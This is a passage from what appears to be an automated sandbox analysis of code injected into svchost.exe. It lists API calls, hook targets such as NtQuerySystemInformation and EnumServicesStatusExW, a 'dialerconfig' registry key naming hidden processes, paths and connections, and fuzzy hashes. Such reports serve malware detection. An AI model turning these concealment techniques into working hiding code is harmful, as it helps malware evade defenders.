WriteFile.KERNEL32 ref: 0000026A879D2807
GetLastError.KERNEL32 ref: 0000026A879D2829

Strings

U, xrefs: 0000026A879D27B3

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 5c34eae6179e8718e065711947d23fa5df45d25b207243dff04b03615aa00afe
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 8541A433715A8086DBA0DF25E8483ADBFA1F798794F944021EE4D97794EB7DC441CB41

Function 0000026A879C94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000026A879C94F0
RaiseException.KERNEL32 ref: 0000026A879C9531

Strings

csm, xrefs: 0000026A879C951E

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 516278ab517d9276ea0f4953800809262020678c9f6335137ecd7ce881f65308
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 3D112836214B8082EBA18B15E44835DBBE5FB99BA4F584225EF8C17B68DF3DC551CB00

Function 0000026A87997356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000026A8799737C

Strings

riptor at (, xrefs: 0000026A87997364
ierarchy Descriptor', xrefs: 0000026A87997381

Memory Dump Source

Source File: 00000022.00000002.3074727733.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a87990000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 290368697319c93d0959a6d4aceff4e73c937a6d0c9df6ff90baa51795892e9d
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: CFE08671741B4490DF418F21E88469C73A1DBA8B64F889122995C1B311FA38D1E9C702

Function 0000026A879973B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000026A879973D8

Strings

riptor at (, xrefs: 0000026A879973C0
Locator', xrefs: 0000026A879973DD

Memory Dump Source

Source File: 00000022.00000002.3074727733.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a87990000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 57ea791ecea9af06e65d832b1adcba3d40aeefbf742ffe7567ba952dade77035
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 19E08671701B4490DF418F21E48069C7361E7A8B54F889122C94C1B311EA38D1E5C701

Function 0000026A879C1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C1C2D
HeapAlloc.KERNEL32 ref: 0000026A879C1C3B
GetProcessHeap.KERNEL32 ref: 0000026A879C1C77
HeapFree.KERNEL32 ref: 0000026A879C1C85

Part of subcall function 0000026A879C152C: StrCmpIW.SHLWAPI ref: 0000026A879C155D

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 7016fa5795a79e5502fdc21d921c24760b1a256b601511705076004f3255fffb
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: A8119175641B4482EE94DF66A40C22D7BA1FBCAFC0F184025EE4D63766EF3AC442C741

Function 0000026A879C1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C126E
HeapAlloc.KERNEL32 ref: 0000026A879C127D
GetProcessHeap.KERNEL32 ref: 0000026A879C1297
HeapAlloc.KERNEL32 ref: 0000026A879C12A8

Memory Dump Source

Source File: 00000022.00000002.3075789818.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: b1c6b37d2b3670007f77e6ad3635e51a98d0f2eb219863f2620388776d6560d5
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 08E06D3560160486EB44CFA2D80C34E3EE1FB8AF86F04C024C90907351DF7EC499CB51

Analysis Process: svchost.exePID: 356, Parent PID: 7824COMMON

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	471
Total number of Limit Nodes:	3

Executed Functions

Function 00000179537A1268 Relevance: 5.0, APIs: 4, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A126E
HeapAlloc.KERNEL32 ref: 00000179537A127D
GetProcessHeap.KERNEL32 ref: 00000179537A1297
HeapAlloc.KERNEL32 ref: 00000179537A12A8

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: e4bf16918a7cacbca0db979268ad85abf1fead3538016a29a4f8caa0c503e4bd
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 6AE06D35A0161886EB058F62D82838A37F1FB8AF0AF04C024CA8D47351EF7D8499C750

Function 00000179537AF1EC Relevance: 4.6, APIs: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00000179537AF205
FreeEnvironmentStringsW.KERNEL32 ref: 00000179537AF277

Part of subcall function 00000179537ACA0C: HeapAlloc.KERNEL32 ref: 00000179537ACA4A

FreeEnvironmentStringsW.KERNEL32 ref: 00000179537AF2D6

Part of subcall function 00000179537AD744: HeapFree.KERNEL32 ref: 00000179537AD75A
Part of subcall function 00000179537AD744: GetLastError.KERNEL32 ref: 00000179537AD764

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: EnvironmentFreeStrings$Heap$AllocErrorLast
String ID:
API String ID: 3331406755-0
Opcode ID: 987753ff894a599cb567346e89517f1ee9597d4cd7e0ed4d9062b173d8f816d4
Instruction ID: e89af08d413403d6e5d7482309db2184f3715486d0e1cd70b0b3824db1cad727
Opcode Fuzzy Hash: 987753ff894a599cb567346e89517f1ee9597d4cd7e0ed4d9062b173d8f816d4
Instruction Fuzzy Hash: 4C31B431A6876081EA269F226C502DE77B4B786BD8F48422BEA9E43BC5DF38C5458704

Function 00000179537A328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000179537A32AE
PathFindFileNameW.SHLWAPI ref: 00000179537A32BD

Part of subcall function 00000179537A3844: StrCmpNIW.SHLWAPI ref: 00000179537A385C

Part of subcall function 00000179537A3790: GetModuleHandleW.KERNEL32 ref: 00000179537A379E
Part of subcall function 00000179537A3790: GetCurrentProcess.KERNEL32 ref: 00000179537A37CC
Part of subcall function 00000179537A3790: VirtualProtectEx.KERNEL32 ref: 00000179537A37EE
Part of subcall function 00000179537A3790: GetCurrentProcess.KERNEL32 ref: 00000179537A3809
Part of subcall function 00000179537A3790: VirtualProtectEx.KERNEL32 ref: 00000179537A382A

CreateThread.KERNEL32 ref: 00000179537A330B

Part of subcall function 00000179537A1D14: GetCurrentThread.KERNEL32 ref: 00000179537A1D1F

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: ca808a076cef636c667c28671c52d662c11ceeea05346f25545d2e4f9369c430
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 5F116130E3C66482FB629FB1F8557D923B4E76A34DF544127DA4E42B91EF78C04C8610

Function 00000179537A1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000179537A1628: GetProcessHeap.KERNEL32 ref: 00000179537A1633
Part of subcall function 00000179537A1628: HeapAlloc.KERNEL32 ref: 00000179537A1642
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A16B2
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A16DF
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A16F9
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A1719
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A1734
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A1754
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A176F
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A178F
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A17AA
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A17CA

Sleep.KERNEL32 ref: 00000179537A1AD7
SleepEx.KERNELBASE ref: 00000179537A1ADD

Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A17E5
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A1805
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A1820
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A1840
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A185B
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A187B
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A1896
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A18A0

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: b6c2e1d6c864596a4c04fdf18bbbf5071076cb135f023add6302ffefab344da2
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 04313271F2866582FF529B36DA413E923F4AB46BC8F8854239E0D873D5FF24C859C610

Function 00000179537A3844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000179537A385C

Strings

dialer, xrefs: 00000179537A3855

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: dbbf6158d5080c7e4a12ec2d32b33ddd1bdad48742ffa41caff3c02827982d81
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 7AD0A770B252558BFF56DFE688D46E02370EB0974CF884032C90802750EB1CD98DA720

Function 000001795377273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001795377285E

Memory Dump Source

Source File: 00000023.00000002.3072736985.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_17953770000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: aa063f8f75c6740ade699a4d29bdcc33ceee5f26798b0015945cd0de14dc5192
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: E6613532F096A087DB56CF15D0007ADB3F2F756BA8F188122CE6D17788DA38D866DB00

Non-executed Functions

Function 00000179537A2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000179537A2BD0
lstrlenW.KERNEL32 ref: 00000179537A2E0A

Part of subcall function 00000179537A199C: OpenProcess.KERNEL32 ref: 00000179537A19C2
Part of subcall function 00000179537A199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000179537A19E0
Part of subcall function 00000179537A199C: PathFindFileNameW.SHLWAPI ref: 00000179537A19EF
Part of subcall function 00000179537A199C: lstrlenW.KERNEL32 ref: 00000179537A19FB
Part of subcall function 00000179537A199C: StrCpyW.SHLWAPI ref: 00000179537A1A0E
Part of subcall function 00000179537A199C: CloseHandle.KERNEL32 ref: 00000179537A1A1C

GetProcAddress.KERNEL32 ref: 00000179537A2BE5

Part of subcall function 00000179537A152C: StrCmpIW.SHLWAPI ref: 00000179537A155D

Part of subcall function 00000179537A3844: StrCmpNIW.SHLWAPI ref: 00000179537A385C

StrCmpNIW.SHLWAPI ref: 00000179537A2C28
lstrlenW.KERNEL32 ref: 00000179537A2D50

Strings

\Device\Nsi, xrefs: 00000179537A2C1B
NtQueryObject, xrefs: 00000179537A2BDB
ntdll.dll, xrefs: 00000179537A2BC9

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: a68df60460c540e5a9242f56c6b8bfc5263ec75fa9e1868138209c41af1d70d8
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 0BB1BF72A28AA092EB6A8F25C4447E963B5F74AB8CF445017EE4D53B95EF35CCC8C740

Function 00000179537A7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000179537A7DAC
RtlCaptureContext.NTDLL ref: 00000179537A7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000179537A7DF3
RtlVirtualUnwind.NTDLL ref: 00000179537A7E34
IsDebuggerPresent.KERNEL32 ref: 00000179537A7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000179537A7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000179537A7EB4

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 58b78ca673e8f1c025eb56569f683145776f8da21aff7224e17a305cb7f8da99
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: FC317072619B908AEB619F60E8503EE7371F785748F44402ADB8D57B94EF38C54CC714

Function 00000179537AD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000179537AD31D
RtlLookupFunctionEntry.NTDLL ref: 00000179537AD335
RtlVirtualUnwind.NTDLL ref: 00000179537AD370
IsDebuggerPresent.KERNEL32 ref: 00000179537AD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000179537AD3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000179537AD3BE

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: fac0d66ec64c3925cbc38e830e94581c1ed51f6a25e90594bb5b961479521937
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: C8315F32618B9096EB61CF25E8503DE73B4F78A758F540126EA9D53B94EF38C659CB00

Function 00000179537A1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A1633
HeapAlloc.KERNEL32 ref: 00000179537A1642

Part of subcall function 00000179537A1268: GetProcessHeap.KERNEL32 ref: 00000179537A126E
Part of subcall function 00000179537A1268: HeapAlloc.KERNEL32 ref: 00000179537A127D
Part of subcall function 00000179537A1268: GetProcessHeap.KERNEL32 ref: 00000179537A1297
Part of subcall function 00000179537A1268: HeapAlloc.KERNEL32 ref: 00000179537A12A8

RegOpenKeyExW.ADVAPI32 ref: 00000179537A16B2
RegOpenKeyExW.ADVAPI32 ref: 00000179537A16DF
RegCloseKey.ADVAPI32 ref: 00000179537A16F9
RegOpenKeyExW.ADVAPI32 ref: 00000179537A1719
RegCloseKey.ADVAPI32 ref: 00000179537A1734
RegOpenKeyExW.ADVAPI32 ref: 00000179537A1754
RegCloseKey.ADVAPI32 ref: 00000179537A176F
RegOpenKeyExW.ADVAPI32 ref: 00000179537A178F
RegCloseKey.ADVAPI32 ref: 00000179537A17AA
RegOpenKeyExW.ADVAPI32 ref: 00000179537A17CA
RegCloseKey.ADVAPI32 ref: 00000179537A17E5
RegOpenKeyExW.ADVAPI32 ref: 00000179537A1805
RegCloseKey.ADVAPI32 ref: 00000179537A1820
RegOpenKeyExW.ADVAPI32 ref: 00000179537A1840
RegCloseKey.ADVAPI32 ref: 00000179537A185B
RegOpenKeyExW.ADVAPI32 ref: 00000179537A187B
RegCloseKey.ADVAPI32 ref: 00000179537A1896
RegCloseKey.ADVAPI32 ref: 00000179537A18A0

Part of subcall function 00000179537A12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000179537A1319
Part of subcall function 00000179537A12BC: GetProcessHeap.KERNEL32 ref: 00000179537A1327
Part of subcall function 00000179537A12BC: HeapAlloc.KERNEL32 ref: 00000179537A1338
Part of subcall function 00000179537A12BC: RegEnumValueW.ADVAPI32 ref: 00000179537A1397
Part of subcall function 00000179537A12BC: GetProcessHeap.KERNEL32 ref: 00000179537A13DF
Part of subcall function 00000179537A12BC: HeapAlloc.KERNEL32 ref: 00000179537A13ED
Part of subcall function 00000179537A12BC: GetProcessHeap.KERNEL32 ref: 00000179537A140A
Part of subcall function 00000179537A12BC: HeapFree.KERNEL32 ref: 00000179537A1418
Part of subcall function 00000179537A12BC: lstrlenW.KERNEL32 ref: 00000179537A1421
Part of subcall function 00000179537A12BC: GetProcessHeap.KERNEL32 ref: 00000179537A142F
Part of subcall function 00000179537A12BC: HeapAlloc.KERNEL32 ref: 00000179537A143D

Strings

SOFTWARE\dialerconfig, xrefs: 00000179537A1692
service_names, xrefs: 00000179537A17C3
paths, xrefs: 00000179537A1788
tcp_local, xrefs: 00000179537A17FE
process_names, xrefs: 00000179537A174D
udp, xrefs: 00000179537A1874
pid, xrefs: 00000179537A1712
tcp_remote, xrefs: 00000179537A1839
startup, xrefs: 00000179537A16D5

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 206c1a27e464331c4bd0b9a092aeafa2340499ab111ab09f1a96645441c587cd
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: A371F136B18A2485FB11AF66E8A0ADD3374F786B8CF401122DE4E57B69EF38C548C744

Function 00000179537A12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000179537A1319
GetProcessHeap.KERNEL32 ref: 00000179537A1327
HeapAlloc.KERNEL32 ref: 00000179537A1338
RegEnumValueW.ADVAPI32 ref: 00000179537A1397

Part of subcall function 00000179537A152C: StrCmpIW.SHLWAPI ref: 00000179537A155D

GetProcessHeap.KERNEL32 ref: 00000179537A13DF
HeapAlloc.KERNEL32 ref: 00000179537A13ED
GetProcessHeap.KERNEL32 ref: 00000179537A140A
HeapFree.KERNEL32 ref: 00000179537A1418
lstrlenW.KERNEL32 ref: 00000179537A1421
GetProcessHeap.KERNEL32 ref: 00000179537A142F
HeapAlloc.KERNEL32 ref: 00000179537A143D
StrCpyW.SHLWAPI ref: 00000179537A145F
GetProcessHeap.KERNEL32 ref: 00000179537A1476
HeapFree.KERNEL32 ref: 00000179537A1484

Strings

d, xrefs: 00000179537A135A

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 6227fafc9fbf8ae47cd58b7f6cf4b5d99e6e7defb89df161162dad1074e44a04
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 83517C72A18B9886EB51CF66E45839A77B1F38AF89F444126DE8D47718EF3CC049CB00

Function 00000179537A1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000179537A1D1F

Part of subcall function 00000179537A1FD4: GetModuleHandleA.KERNEL32 ref: 00000179537A1FEC
Part of subcall function 00000179537A1FD4: GetProcAddress.KERNEL32 ref: 00000179537A1FFD

Part of subcall function 00000179537A5B30: GetCurrentThreadId.KERNEL32 ref: 00000179537A5B6B

Strings

NtDeviceIoControlFile, xrefs: 00000179537A1E56
NtResumeThread, xrefs: 00000179537A1D62
NtQuerySystemInformation, xrefs: 00000179537A1D45
EnumServiceGroupW, xrefs: 00000179537A1DF0
advapi32.dll, xrefs: 00000179537A1DF7, 00000179537A1E18
EnumServicesStatusExW, xrefs: 00000179537A1E11, 00000179537A1E32
NtQueryDirectoryFileEx, xrefs: 00000179537A1D9C
NtQueryDirectoryFile, xrefs: 00000179537A1D7F
sechost.dll, xrefs: 00000179537A1E39
NtEnumerateValueKey, xrefs: 00000179537A1DD6
NtEnumerateKey, xrefs: 00000179537A1DB9
ntdll.dll, xrefs: 00000179537A1D2D

Memory Dump Source

Source File: 00000023.00000002.3073665161.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: ba4581b48e2ff6b855cacc301ebdcd167c7a3886c66976a807292e1e89fccdae
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: AF315074E299AAA0FE17EF65E8616D46371B70634CFC05023D84D13766AE7C868EC750

Function 0000017953776910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000017953776938
__scrt_acquire_startup_lock.LIBCMT ref: 000001795377698A
_RTC_Initialize.LIBCMT ref: 00000179537769B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000179537769DE
__scrt_release_startup_lock.LIBCMT ref: 0000017953776A09

Strings

`dynamic initializer for ', xrefs: 00000179537769C7
`eh vector copy constructor iterator', xrefs: 0000017953776A3B
`eh vector vbase copy constructor iterator', xrefs: 00000179537769EE
scriptor', xrefs: 0000017953776B39, 0000017953776BB2, 0000017953776BEC

Memory Dump Source

Source File: 00000023.00000002.3072736985.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_17953770000_svchost.jbxd

Similarity

